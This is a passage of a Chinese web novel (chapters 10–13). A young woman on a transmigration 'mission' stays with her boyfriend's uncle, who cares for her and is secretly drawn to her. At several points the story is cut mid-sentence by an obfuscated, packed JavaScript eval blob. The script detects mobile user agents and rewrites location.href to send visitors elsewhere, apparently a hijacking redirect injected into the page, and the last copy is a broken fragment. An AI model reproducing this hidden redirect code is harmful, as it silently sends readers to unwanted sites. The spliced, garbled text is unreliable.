她把额头也贴上来,沾着泪珠的睫毛扑簌簌蹭到顾峙的手背上,发出那种可怜的、让他心软的抽噎声。 像是他幼时养的那只小狗,讨好地蹭他,求他摸摸自己。 她循着顾峙手上的温暖,小声地喊:“妈妈。” 他沉默地凝视着她的脸,最终没有抽出手。 算了。 一刻钟后,刘阿姨赶过来,就看到一位陌生的姑娘躺在床上,浑身湿透,似乎是病了。顾总坐在一旁的椅子上,正冲着床,支着头看她,神色不辨喜怒。 屋里静悄悄的,听到背后的脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101597|162711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步声,顾峙回过神,朝刘阿姨说:“她还在发烧,已经吃过药了。我先出去,您帮她换身衣服。” “好。”刘阿姨虽然好奇,但没多嘴去过问,她提醒说:“顾总,茶几上不知道是谁的手机,刚刚好像响了两声。” 手机?客房隔得远,加上顾峙刚刚有些走神,没有听见。 他走到客厅,拿起刘阿姨说的那只白色的手机。 屏幕上方散布着蛛网状的裂痕,损坏严重,型号也是几年之前的老款。 除李棠梨之外,手机的主人不作他想。 打开屏幕,一分钟前有一个未接来电,备注是A纪嘉誉。 这个时候,纪嘉誉恰好又打了回来。 冷光打在顾峙脸上,透出几分阴沉的寒意。 铃声响了不到两秒,他直接挂断了。 俱乐部里,纪嘉誉怀有的愧疚,也被那两个没有打通的电话催化成了怒气。 他撂下手机,李棠梨算什么东西,也敢挂他的电话? 她有什么资格跟他置气?如果不是因为她听话懂事,足够喜欢他,他怎么会容忍到现在? 更何况今天下午是她求着不想分手的,现在又拿什么乔? 纪嘉誉根本就没有想到,李棠梨是真的因为他一句气话就在水里泡了那么久。 他的恼火一目了然,一个公子哥凑上来给他顺气:“纪哥什么女人找不到,为她生气,太不值得。” 他趁机献媚:“我有个堂妹,叫舒冉。下礼拜来A市旅游,过几天叫她出来一块玩。” 纪嘉誉吸了一口烟,沉闷地嗯了一声。 如果李棠梨在这里,她很快就会反应过来。白月光的第二个替身,小说前期的主要反派——女配舒冉,马上就要登场了。 * 清晨,顾峙叫来家庭医生。 医生检查后说:“目前是低烧,身体受寒了,但没有大碍,休息一下就好了。” 刘阿姨把情况汇报给顾峙。她照顾了李棠梨一宿,但平心而言不算累。 这个病人实在省心,既不梦呓也不折腾。中途只渴醒过一回,喂了点水就又睡下了。睡姿安稳,不满床乱滚。 烧得难受了,只哼哼两声,流两滴眼泪;不然就是小声喊妈妈,喊得刘阿姨都有点心疼。做好早饭,她就回去了。 顾峙走进来的时候,李棠梨刚醒。 她的意识停留在昏迷之前。只记得进了浴室,热水浇在身上,很暖和,随后就断片了。只剩下几个梦境碎片,比如一只被她当作救命稻草的温暖的手。 还在犯迷糊,李棠梨感觉有人的指尖拨开了她的碎发,手轻轻置放在额上的瞬间,她清醒了。 因为骨节粗大、手指修长,带来轻微的压迫感,这显然不是女人的手。 不难猜出来是谁的。 不知道为什么,正因为知道他是谁,李棠梨才不敢睁眼。 她全然不知,顾峙已经看破了她拙劣的伪装。 他没有立刻撤开,而是多停留了两秒才收回手。 盯着她微微颤抖的眼睫,几息后,顾峙才不紧不慢地打破了她的侥幸:“醒了?” 10.第 10 章 公平公正地说,顾峙并非促狭的性格,也早就过了喜欢逗小女孩寻开心的年纪。 但李棠梨这副等着被人欺负的样子摆在面前,他难得起了坏心。 被顾峙当场拆穿在装睡,李棠梨真想一股脑扯过被子盖住头顶,不必面对此时的尴尬。 但现实是,她只能讪讪睁开眼睛,为自己苍白地开脱:“好巧,顾先生。我刚醒,早上好。” 顾峙仁慈地放过了她:“早上好。身体感觉如何?” “好多了。” 李棠梨坐起身,眼前有些发晕,仍在低烧。 顾峙刚摸过温度,知道她在逞强。不过一晚上没吃东西,空着肚子也不能吃药。 他说:“起床吃早饭,衣服在床尾。” 李棠梨连连拒绝:“不用了,谢谢您的好意,但我身体真的没事了。昨晚就给您添了很多麻烦,就不留着打扰了。” 一边说着,一边就要给顾峙证明自己的话没错,她急切地掀开被子,动作幅度一大,脑袋立刻嗡嗡响。 毫不意外的,脚刚着地,腿就软了,人一歪,早有预料的顾峙衔住她的胳膊,帮她摆正了重心。 他气定神闲地低下头:“现在可以听我的话了吗?” 挨得太近,顾峙身上暖烘烘的、成熟浓厚的乌木香也跟着蹭了过来,受惊喘气的李棠梨被迫吸进了一鼻腔的他的气味。 她不自然地撇开头,耳尖发红:“嗯。” 老老实实收拾好出来,餐桌上面对面摆着两份早饭,顾峙正靠在沙发上读财报。 他鼻梁上驾着一副银边眼镜,那双往常过于冷峻的眼睛就被框在里面,身上穿着蓝色薄毛衣,面上多出几分斯文。 李棠梨叫他:“顾先生。” 顾先生闻声望过来。 白衬衫,藏蓝百褶裙,小皮鞋。脸上干干净净的,什么妆都没有,柔顺的黑发垂在胸口。 衬衫下摆掖进窄细的腰身,裙摆略蓬,白袜子在脚踝上堆着两道褶。 两只手羞赧地交握在身前,一股青涩的学生气扑面而来,像是一株清晨沾着露水、含羞垂颈的玉兰花。 顾峙的助理早上接到电话,听到上司要求自己买身女装送到家里,还以为自己听错了。 百万年薪抑制住了蠢蠢欲动的心,助理试探性地问年龄多大,是否有风格要求。上司沉默两秒后答,年纪很小,要乖一点的。 穿上也的确很乖。 她还这么小,整天穿那些性感暴露的衣服干什么?现在看着舒服多了。 顾峙说:“很适合你。” “……真的吗?”李棠梨很少受到夸奖,更不要提外貌上的,第一反应是不自信地反问。 “当然。” 在男人从容的目光里,她越发不好意思,匆匆转移话题:“您有看到我的手机吗?外壳是白色的。” 顾峙拾起茶几上还剩一半电量的手机,递给她:“先和你妈说一声,等退烧了,中午再送你回去。” 考虑到自己的确身体状况不佳,即使回去也需要妈妈照顾,李棠梨听从了他的建议。 只是不禁疑惑他的未卜先知:“您怎么知道我要干什么?” 顾峙当然不会说自己前不久才查过她的背景。 他定定掀起眼皮,平静地说:“毕竟昨晚第一次被人抱着手叫妈妈,印象深刻,我记性还不至于差到这种程度。你们母女感情一定很好,对不对?” “什么?”李棠梨瞪大眼睛,攥紧了手机。 “是你?不是……那个,我、我不是故意抓你的手。”她语无伦次,脑袋乱成了一团浆糊,那竟然不是梦! 顾峙那只无辜的右手,现在静静搭在键盘上。 手随个子,顾峙的手指又长又韧,手掌宽大,手背上数条暴起的青筋蛰伏在冷白的表皮下,一路盘虬至小臂,中途被黑色的腕表挡住。 李棠梨视线一滞,似乎看到腕表边缘的皮肤隐隐约约有道疤痕。 这是一双力量感极强的成年男性的手,可以归属暴力美学的范畴,和它克制的主人性情相悖。 可就是在昨晚上,这只有些凶悍的手被她牵着、攥着,从掌心一路摸到指尖。 李棠梨全想起来了,她把脸都贴了上去,脸肉被他手背上那些树枝藤条般粗粝的筋骨蹭得生涩发疼,也不愿意松开。 天呐。 宛如感知到她的视线,原本静止的手故意一动,啪得敲击了一下键盘,像是在恶作剧,成功地令出神的李棠梨倏地甩开了眼睛。 她燥得几乎要原地烧起来了。 顾峙唇角勾了一下,站起身:“说好了吗?” 被提醒的李棠梨努力抛开脑子里的杂念,发了一条中午再回去的信息。张梅婷秒回,叮嘱她在外面注意安全,不要担心自己。 看到通话记录里纪嘉誉两个未接来电,李棠梨犹豫地问:“我可以先给纪嘉誉回个电话吗?” 顾峙拉开餐桌旁的椅子,扫了她一眼:“饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身体无碍,她归心似箭,再次和顾峙提出告辞。本以为会是司机单独送她回去,没想到顾峙上楼换好西装,又是一副精英的派头。 他要和她一趟车出行,送完她再去公司。 李棠梨和他分别坐在后座的两端。 安静的车内,顾峙忽然开口:“李棠梨,你很怕我吗?” 11.第 11 章 李棠梨吃惊地转过脸,见顾峙头也没抬,像是随口一问。她摸不准这人的意图,模棱两可地说:“还好?” 傻子都能看出来李棠梨怕他,顾峙还要故意问出来。 两人一左一右,本来就隔着楚河汉界。在密闭狭小的空间里和他相处,李棠梨表现得更紧张。 一直刻意地盯着窗外,仿佛一回转过来,车里就会有什么洪水猛兽爬到她身上。 哦,他就是那个洪水猛兽。 顾峙轻轻放过,说:“那就好。不然,你恐怕不愿意听我的道歉。” 李棠梨不解:“道歉?” 顾峙点头看向她,正色道:“对于昨晚纪嘉誉的所作所为,我想跟你说声抱歉。我从来没有教他这么不负责任、缺乏基本礼貌地对待他人。何况你和他还是恋人。归根结底,都是因为我没有教育好他。” “我不是在替他跟你道歉,也不想给他开脱,是否要原谅他,由你决定。” 他顿了一顿,缓缓添了一句:“其实,如果有人提出会伤害你的要求,你是可以拒绝他的。哪怕他是你男朋友,也不能这么对你。李棠梨,你能理解吗?” 大片阳光倾洒进车内,李棠梨愣怔地看着他,年长者沉静而温和的目光浸润在浅金的光线里,把她的心晒得又涨又酸。 她之所以这么听纪嘉裕的话,无底线地伏低做小,除了本身性情软弱,都是为了维持人设、攻略男主,尽早回家而已。 之前的两个位面,李棠梨甚至都没摸清具体情况,只和男主说过几句话,稀里糊涂的,系统就直接宣告她任务失败了。 这已经是她的第三个任务了。时有时无的系统,任务难度的提升,逐渐边缘化的身份,这些都让李棠梨隐约感知到留给她的机会和时间所剩无多。 她毕竟年轻,本来是应该无忧无虑上大学的年纪,唯一的亲人去世,又深陷任务里,压抑焦虑的情绪一直暗中追赶着她,却连一个能倾诉的人也找不到,越发胆战心惊。 李棠梨没想到,第一个体察到她的难堪,告诉她不喜欢可以拒绝的人,竟然是男主的舅舅,是她一直有些害怕的顾峙。 “我……”她嗓子一梗,刚开口,眼泪先莫名其妙掉下来。 她又哭了。 顾峙忽而联想起第一次和她见面时的场景。现在一看,算是难得看走眼。 泪水落在皮质座椅上,宛如一个微小的湖泊。她咬着嘴唇,努力想抑制住自己波动的情绪。 直到下车,李棠梨依然有些低落。怕张梅婷看出端倪,在外面站着吹了会儿风,等眼睛不红了才回家。 听了顾峙的话,这几天上下班,她都一直在考虑如何处理和纪嘉誉的关系。 她不清楚现在两个人算不算分手。上次的那通电话里,纪嘉誉也没有提及,似乎是故意回避了这一点。 李棠梨是不愿意分手的,无论如何,只要能维系这层脆弱的关系,她就还有理由呆在纪嘉誉身边。 要是分了手,就意味着纪嘉誉对她完全丧失兴趣,转而寻找下一位白月光替身了。 但她依然心里没底,即使两个人已经交往这么长时间,纪嘉誉对她的好感还是微乎其微,和她彻底分手的那天估计马上就要到来了。 她的顺从没有换来成果,李棠梨一时不知如何是好。 她茫然地想,要是这次任务仍旧失败,她该怎么办?她还能回去吗? 心里装了事儿,手臂突然被同事小彤杵了一下:“诶,你发什么呆呢?刚走了一桌,快去收盘子,外面还排着队呢。” 李棠梨正在备锅底,她加快动作:“好,我马上。” 她刚走,一旁的同事就没好气地说:“你负责的区,让人家去收拾?” 小彤撇撇嘴:“那怎么了?她不是关系户吗?平时占那么多便宜,偶尔受受累就委屈了?” “你也真好意思。” 同事摇摇头,不和她争辩。 其实李棠梨能占多少便宜?她从来没炫耀过和老板的关系,偶尔请一回假,知道给别人添了麻烦,干活更为卖力,基本上每天都是最晚下班的几个。 谁要麻烦她干点事儿,只要是能帮的,李棠梨从来不推脱。例如小彤,三番四次把工作甩给李棠梨,自己躲在后厨刷手机,李棠梨不也没什么怨言吗? 只是今天有些不一样。 一出去,李棠梨就听见那一片乱糟糟的,顾客之间发生了口角。 她快步走过去,一瞧,懵了,怪不得小彤赶她出来——地上泛着油腻腻的光,一条狗趴在地上呼哧呼哧地吃着肉,油光叠着人来人往的灰脚印,脏得让人直犯恶心。 一个留着八字胡、挺着大肚子的胖男人嚣张得朝着另一家人喊:“我家狗咬你了吗?来,让大家看看你的伤口!有证据吗?服务员——” 他那双小眼睛一下就揪住了李棠梨,趾高气昂道:“服务员,你过来,给我评评理!” 中午忙,这个客人非得把狗带进餐厅,信誓旦旦说一定会拴好狗,当时人太多,他一个人耗了足足有五分钟,前台忙得顾不上和他理论,匆匆同意了。 谁料到,刚坐下,这八字胡立马就把绳子解开了。端过来肉,自己大快朵颐,不忘顺道扔地上喂狗。 狗满餐厅乱串,他也不管,吓到了小孩,一时间哭闹起来,乱成一团,引起了公愤。 李棠梨硬着头皮:“这位顾客,我们餐厅是禁止宠物入内的,您可以把宠物暂时拴在门口的柱子上。” 八字胡放不下面子,脸色铁青:“你耳朵聋了?我说了我家狗没咬人,别的地方都能带,就你们这个破地方不行?你就这么服务顾客的?我他妈投诉你!” 他说话难听,别人听着都暗自反感,李棠梨继续跟他解释:“抱歉,这是我们的规定,因为您现在影响到了其他顾客用餐,所以……” 见周围看过来的人越来越多,八字胡恼羞成怒,五根粗短的圆柱形手指一挥,猛一下就把李棠梨推开了。 没设防他会直接动手,眼见就要结结实实跌一跤,关键时刻,有人抢前,撑住了她的后心。 惊出一身冷汗,她一扭头,见扶住她的人不是同事,而是一个陌生的女人。 她五官娇美,楚楚动人,一袭黑丝绒长裙,如同黑夜里盛开的花朵,栗色卷发流动着光泽。 旁人投来惊艳的目光,比起现在如同闹市街头般的自助餐厅,她更适合出现在高档昂贵、有钢琴伴奏的西餐厅。 这个时候,领班和经理终于现身,开始和油盐不进的八字胡协商处理问题。 李棠梨松口气,对身后的人感激道:“谢谢您,我差点就滑倒了。” “不用谢。” 女人从头到脚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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父母刻意把她往知书达理、宜家宜室的方向培养,注重在社交圈经营她温婉娴淑的名声,想通过女儿的婚姻一举挽救家里的颓势。 接到舒子毅的电话,得知纪嘉誉是荣星集团下任继承人后,舒冉没有任何犹豫,果断抛下所有牵绊,火速赶来了A市。 并且,就在昨天,经过舒子毅的牵线搭桥,她和纪嘉誉已经正式见过一面了。 她看过那位学姐的照片,和她的确有五分相似,尤其是下半张脸。 捕捉到纪嘉誉见到她时一瞬间的恍惚,舒冉知道,这步棋走对了。 诚然,纪嘉誉现在有女朋友,那又怎么样呢? 舒冉低下头,身上是超季高定,自从家里破产,她已经很久很久都没能再接触到这个档次的衣服了。 这身里里外外,都是来了A市后舒子毅一手承包的。光美甲就花了将近两千。 而那个当服务生的李棠梨,全身上下所有东西加在一块,恐怕都不超过一千。 望着后视镜里自己漂亮的脸,舒冉想,各凭本事而已。 她再也不要小心翼翼地在同学朋友前掩饰日渐落魄的家庭条件,再也不要沦落到更贫穷、更悲惨的境地里去了。 12.第 12 章 在等待和焦虑中,李棠梨终于等来了纪嘉誉的消息。 上车见了面,纪嘉誉也没有提关于“分手”的只言片语。 所以,就这么轻轻揭过了吗? 但不知道为什么,依然有阵不安盘旋在她心头。 再次踏进顾家老宅的李棠梨受到的待遇,和头一遭比,可谓天差地别。 开门的依然是顾淑凤。然而这一回,顾淑凤却只是朝她笑了一下,友善地说:“李小姐,快进来。” 顾语琴早早就候着,耳朵竖着听门外的动静,瞧见李棠梨,她兴奋地招了招手。 “总算见到你了。” 李棠梨将轮椅上滑落的薄毯弯腰拾起来,拍拍灰,给她盖到腿上:“语琴姐,你出院了?” 顾语琴很自来熟地攥住她的手,指尖挤进她的指缝,依旧是冰冰凉的。 “前几天刚出院。我叫你棠梨可以吗?” “当然可以。” 李棠梨只好把这当作是顾语琴表示亲密的一种方式,由着她去,反正也挣脱不开。 她听顾语琴抱怨:“医院里呆得太无聊了,没人陪我说话。我想雇你当护工,他们都不同意。棠梨,你愿意当我的护工吗?待遇很好哦,我家很有钱的。” 当护工? 虽然被优厚的待遇幌了一下,但李棠梨立刻反应过来自己几斤几两。 照顾妈妈还行,但肯定赶不上专业的护理人员,她不无遗憾地推脱:“我没有什么经验,怕照顾不好你。” 顾语琴歪了歪脑袋,直白地说:“那有什么关系?你又不用干那些事儿。” 李棠梨愣了一下,才读懂她的潜台词。 说白了,顾语琴根本就不是雇她当正经护工的,而是单纯地想要一个玩伴,碰巧李棠梨在这个节骨眼上对了她的口。 李棠梨正为难,头顶传来一个熟悉的嗓音:“顾语琴,你非纠缠她干什么?人家还有工作,哪有空每天陪你胡闹?” 一抬头,见身形高大的男人站在二楼,不知道看了她们多久。 啊,顾先生也在啊。 顾家老宅,顾峙在是情理之中的事。但李棠梨一见他,那天自己在车上哭得抽抽嗒嗒的窘态就浮现在脑海。 她略带局促地喊他:“顾先生。” 顾语琴不高兴地嘟囔了一句:“你对他这么客气?叫他顾叔叔!” 顾峙没理会妹妹的脾气,径直问李棠梨:“嗯,感冒好了吗?” 呼吸一滞,明明隔着这么远的距离,李棠梨看不清他的神色,可她知道,那双深灰色的眼睛正注视着她,等待着她的回答。 顾峙的询问太过自然。其实,这是一句在普通不过的关心。 可放在顾峙和李棠梨这两个本该比陌生人熟络不到哪儿去的人身上,就变得难以揣摩了。 引得其他人纷纷投来了视线,包括身旁的纪嘉誉。 “没什么事儿了。” 她脸上莫名红了,声音也低低的,嘴一抿,活像是做贼心虚,偷了什么东西。 纪嘉誉虽然和李棠梨坐在一块,但一直捧着手机打字聊天,嘴角噙着一抹笑,跟身旁的李棠梨有一搭没一搭地说话。 直到听见顾峙的这句问候,总算把头抬起来,迟疑地看了看顾峙,又看了看李棠梨。 正打算开口,顾峙掐断了他的疑问:“纪嘉誉,上来,我有话跟你说。” 被顾峙训了一句,顾语琴也不乐意呆在楼下了。反正还有一会儿功夫,她干脆拉着李棠梨,带她去顶楼玩了。 进了书房,顾峙倒是不着急说话了。 纪嘉誉时不时看眼手机,沉不住气,开门见山地说:“舅舅,叫我上来有什么事儿吗?” 他眉宇间一股浮躁之色,顾峙有几天没见这个外甥了,不知道哪儿出了问题,竟是越瞧越不顺眼。 “把女朋友逼进泳池之后扬长而去,这种事,我应该没教过你吧?纪嘉誉。” 纪嘉誉有些惊异:“你怎么知道?” 顾峙冷冷睇视他:“我怎么知道的很重要吗?你随口说出来,没想过她会当真?” 纪嘉誉哑然片刻,他后知后觉,李棠梨不会真的那么傻,因为一句气话,就一直泡在水里不出来吧? 他流露出一丝愧疚,但不肯在舅舅面前示弱:“所以呢?” 顾峙沉下脸:“你退行到连话也不会说了?” 话赶话,纪嘉誉无名火起:“是你之前拦着不让我和她在一块,现在又开始怨我。你听好,我提了分手,是她求我别分手,自己心甘情愿跳进去的。我根本没有强迫她,指不定她还乐在其中。” 顾峙阴沉沉地盯着他,眸光渗出凶色:“你再说一遍?” 纪嘉誉抑制住后退的本能,反问道:“舅舅,你不觉得你管得太宽了吗?我和她之间的事儿,和你有什么关系?” 心跳瞬间错漏一拍,像是有把刀猛地戳穿了那层朦朦胧胧的窗户纸。 顾峙面上不显露半分,冷声训斥道:“有什么关系?她救了你小姨,你就这么对她,纪嘉誉,你有没有良心?” 没错,全赖于李棠梨救下顾语琴一条命,因此,他维护她的举动,全出于感激之情,仅此而已。 义正言辞、堂堂正正,不掺杂半点私心。 见纪嘉誉无言以对,顾峙牵了牵嘴角,森冷警告道:“滚出去反省。” 纪嘉誉重重摔门而走。静默的书房内,顾峙坐回椅子上,良久后,他神色复杂地闭上了眼。 ……一派胡言,他想。 * 饭菜很丰盛,顾语琴说,今天顾家是专门为酬谢李棠梨而设宴的。 可饭桌上的气氛却很诡异。 李棠梨和顾语琴并排而坐,她正对着纪嘉誉,顾峙则在斜对过儿。 舅甥两人在下午那场谈话里爆发了矛盾,不欢而散。 纪嘉裕的不悦明明白白撂在桌面上,反观顾峙,姿态端正,目不斜视,偶尔说两句话,言语平和,看不出丝毫波澜。 李棠梨窥了他两眼,她对于他人的情绪很敏感,直觉顾峙也兴致不高。 吃完这顿各怀心事的晚餐,纪嘉誉样子也不装,径直钻回房间,说是和朋友约好了上线打游戏。 李棠梨本想告辞,但顾语琴极力挽留她留宿一晚。 她走之前多少有预料到,因此提前和妈妈报备过。 张梅婷近期身体恢复得十分康健,李棠梨才会放心留宿。 整层顶楼都是顾语琴的地盘,什么生活设施一应俱全,上下楼有直达的电梯。说是玩,其实和陪聊差不多。 因为身体原因,顾语琴缺乏很多常识,她对怎么搭乘地铁都听得津津有味。 表上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128316|162711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的指针走到九点,阿姨就过来提醒顾语琴该准备睡觉了。 李棠梨被安排在一楼的客房。 本打算洗个澡就睡觉,谁成想,人脱光了,水满打满算只出了一分钟,刚够浇湿她的后背和头发,就彻底罢工了。 狼狈得光着身子摸索了半天,差点打滑摔一跤,也没找出是哪儿出了故障。 李棠梨裹上浴巾,手机显示当前时间是晚上九点半。 经过一番思想斗争,还是没办法说服自己。头发都打湿了,刚洗了个开头,谁悬在这儿都不舒服。 唯二的两位女性,顾语琴已经歇下了,她不好打扰;顾淑凤则根本没存联络方式。 她只能把希望寄托在纪嘉誉身上。请求借用浴室的消息发过去,等了五分钟,没有回复。 尝试打语音,也无人接通。 是正好有事情吗? 李棠梨打开门,脑袋探出来,谨慎地左看右看。吃完饭,大家都各回各屋了,外面并没有人。 她松了一口气,顺着楼梯蹑手蹑脚走上去。 她敲门时,纪嘉誉正坐在卧室的电竞房内。 戴着降噪耳机,游戏紧张刺激的背景音和舒冉清甜的话语占据了他全部的听觉:“嘉誉嘉誉,你快来救救我……” 他沉浸其中,将名义上的女朋友的求助和敲门声通通抛之脑后。 李棠梨的希冀渐渐落空,两分钟后,她终于认清了事实。这扇门不会为她打开了。 她失落地转过身,暗自嘲笑自己竟然对纪嘉誉怀有不切实际的奢望,正打算原路返回,走廊的右侧,突然发出轻微的咯吱声。 纪嘉誉没有打开的门,在另一侧被打开了。 顾峙站在门框里。 他神色并不惊讶,目光掠过她湿淋淋的发尾和微微发抖的肩头,开口问:“你怎么在这儿?” 为什么又被他撞见?偏偏是顾峙,偏偏又在自己窘迫的时候,每一次都是…… 李棠梨难以启齿:“没什么,打扰您了。” 见她一副避之不及的模样,顾峙随即皱起眉,强硬道:“李棠梨,说实话。” 他语气加重地直呼她大名,李棠梨心生怯意,腿脚跟被钉在原地似的动弹不得。 张张嘴,竹筒倒豆子一样吐露实情:“洗澡的时候,突然就不出水了,我想上来问问。” 顾语琴需要静养,老宅鲜少待客,客房一年到头也没人住,淋浴设备老化了。 心下快速有了判断,顾峙瞥了一眼隔壁紧闭的房门,明知故问道:“他不开门?” 李棠梨含糊地说:“可能在忙。” 却见顾峙侧开身,摆出让道的姿势:“要是不嫌弃的话,就进来借用一下我的吧。” 李棠梨耳根子发烫,下意识想拒绝。深夜时分,孤男寡女,这太不合时宜了。 可是顾峙却表现得坦然自若,像是自己多虑了一样。人家把话说到了这个地步,她再推拒,未免就显得不识抬举了。 说实在的,顾峙什么身份,人家都不介意,她有什么好担心的?难道是觉得顾峙会对她做些什么吗? 于是,轻信于人的李棠梨半推半就地答应了:“……那就打扰了。” 望着逐渐朝他走来的女孩,顾峙说:“没关系。” 她踏进了顾峙的房间。 门关上了。 13.第 13 章 顾峙的房间很干净。 装修和家具都是简约的黑白色,没有堆放任何多余的东西,第一眼瞧上去空荡荡的,略显萧索。 桌上放着一杯威士忌,看来是她的敲门声打断了他独酌的闲暇时光。 李棠梨不是第一次走进异性的房间。但不同于纪嘉誉,一走进这里,她就无可避免地闻到了顾峙的气味。 就是那股在他身上若隐若现的木质香,现下却四处游荡,明目张胆得扑过来,入侵她的鼻息,将她整个人都裹挟在其中。 毫无分寸的木质香的主人彬彬有礼地指了一下方位,避嫌地站在原地,没有动。 李棠梨连手脚都不知道放哪儿合适,走路差点同手同脚。 浴室内触目可及,全是顾峙的私人用品。剃须刀,啫喱水,标签写满外文的男士护肤品,深灰色的毛巾。 这些陌生物品强烈的存在感无一不在提醒李棠梨,她突兀地闯入了顾峙的私密空间。 总感觉怪怪的。 李棠梨压下心头的不自在,计划速战速决。 墙上那方往常倒映着顾峙的镜子,静默地注视着她扯开了浴巾。 淅淅沥沥的水声响起,像是一场小雨。 顾峙不自觉地握紧酒杯,空气掺杂了什么粘稠的东西,黏糊糊地粘连在心头,搅得他心神不宁。 转念想起纪嘉誉的质问,他仰头饮下一口,酒精辛辣地灼烧着咽喉,烦躁有增无减。 瞥了一眼浴室的方向,他索性走到阳台。 的确是没关系,也不能有关系。 李棠梨是别人女朋友。准确一点来说,是他外甥的女朋友。这就更不应该了。 虽然闹了不小的矛盾,但毕竟还没有分手。 即使分手了,以他的年龄和阅历,对李棠梨这样浅显易懂的小女孩动心思,无疑也是很不道德的事。 太不像话。 水声渐止,接着是女孩轻轻的脚步声,她踩着水,没拖沓太久,浴室的门再次打开。 “顾先生,我洗好了。” 一回头,顾峙见李棠梨站在那里,带出一团湿湿温温的雾气。她脸颊被热气熏得晕着红,黑发齐整地捋在耳后,模样很乖。 “谢谢您借我浴室用,那我先回去了,不继续打扰了。” 发梢还滴着水,湿着头发回去,又着凉了怎么办? 顾峙拧起眉:“把头发吹干再走。” 李棠梨眼神躲闪:“我回去吹就好。” 她嘴唇生得很小巧,说话时一开一合,似乎张不大。她是因为这个才不爱说话的吗? 李棠梨说完,没听到回应。 瞧过去,见顾峙静静立在阳台上,修长的身影淹没在漆黑如墨的夜色里。 她的心砰砰直跳,本能地后退了一步。 见她后退,顾峙突然动了。 他慢条斯理步入灯下,将酒杯放到桌上:“李棠梨,你究竟在怕什么?” 看着顾峙那张脸,李棠梨嘴唇嗫嚅,不等她回答,他接着说:“万一客房的吹风机也坏了,你再回来找我吗?还是湿着头发睡,第二天又感冒发烧?” 话是有些道理,但是语气太差了。 尤其是他面无表情地盯着她:“还不快去?等着我给你吹吗?” 突然间这么咄咄逼人,一点儿后退的余地都不留给她。 李棠梨咬住嘴唇,半晌,又气又怂地憋出一句:“……不麻烦你了,我自己来。” 嘴太笨,没拗得过他。人在屋檐下,她只能老老实实低头听从指令。 见把人劝住了,顾峙才垂下眼,光线一照,手背上闪着一片水渍。 他啧了一声,抽出两张纸巾,力道粗鲁地擦去在阳台时,不慎倾洒出来的酒液。 大概是被他刺激到了,李棠梨头发吹得很干爽。因为心急,动作不是很精细,头顶翘起来几根发丝,显得有些毛燥。 这时候仰脸望他,眼睛又圆又亮,她自己不知道,在顾峙的视野里,她整个人毛绒绒、气鼓鼓的,更像是小狗了。 指尖颤动了一下,顾峙点头:“回去吧,今晚早点睡。” 他的手扶在门把上,打开门,李棠梨犹豫片刻,还是礼貌地跟身后的男人说:“晚安,顾先生。还有,谢谢你。” 他回道:“晚安。” 然而,在她走后,那扇本该合上的门,却微微敞着一道缝。 顾峙无声无息地站在门后。 透过缝隙,他的视线跟随着毫无所察的女孩,直至她的身影消失在楼梯处,门才彻底关上。 他先是在阳台上冷静了一会儿,才走进浴室。 雾气凝结成的水珠在镜子上蜿蜒滑落,目光落在洗手台上,被什么东西吸引了注意力。 他伸出手,拿起了那两个明显不属于他的物件。 一对儿银色的耳环。 是不小心落下的吗? 耳环粗心大意的主人李棠梨此刻正躺在床上。虽然她当时有些生气,但气来得快,消得也快,这时候又觉得顾峙是个好人了。 于是给人家开脱,或许他只是心情不好。无论如何,今晚如果不是对方出手帮忙,她是不可能这么干燥而舒适地入睡的。 意识逐渐模糊的李棠梨没注意到床头柜上的手机亮了。纪嘉誉终于姗姗来迟,回应了她的求助。 但她已经不需要了。 手机屏幕徒劳地闪了两下,很快熄灭了。 * 李棠梨没有赖床的习惯,第二天准点醒来。 顾家有阿姨专门负责卫生,但她还是自己动手打扫了一遍,把用过的东西整理得差不多了,门外响起敲门声。 打开门,来人是顾语琴。她今天没坐轮椅,脸色还是病歪歪的,但是精神头不错。 “我还担心你没有醒。”她笑眯眯地说:“可以陪我散个步吗?” 上回突发哮喘,在病床上百无聊赖躺着的时候,顾语琴还时不时为此而遗憾,当时没能领着李棠梨游览整个庄园,今天想全了这个念想。 现在时间还早,顾语琴带着李棠梨参观了一圈,除了后院的湖泊,庄园里甚至还有网球场和停机坪。 没见过市面的小市民李棠梨频频震惊,对顾家的富有程度再次有了一个新的认知。 到后面,她都有些麻木了。 花房单独用围挡封了起来,顾语琴轻描淡写,说是由于上回的意外而又重新整改。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 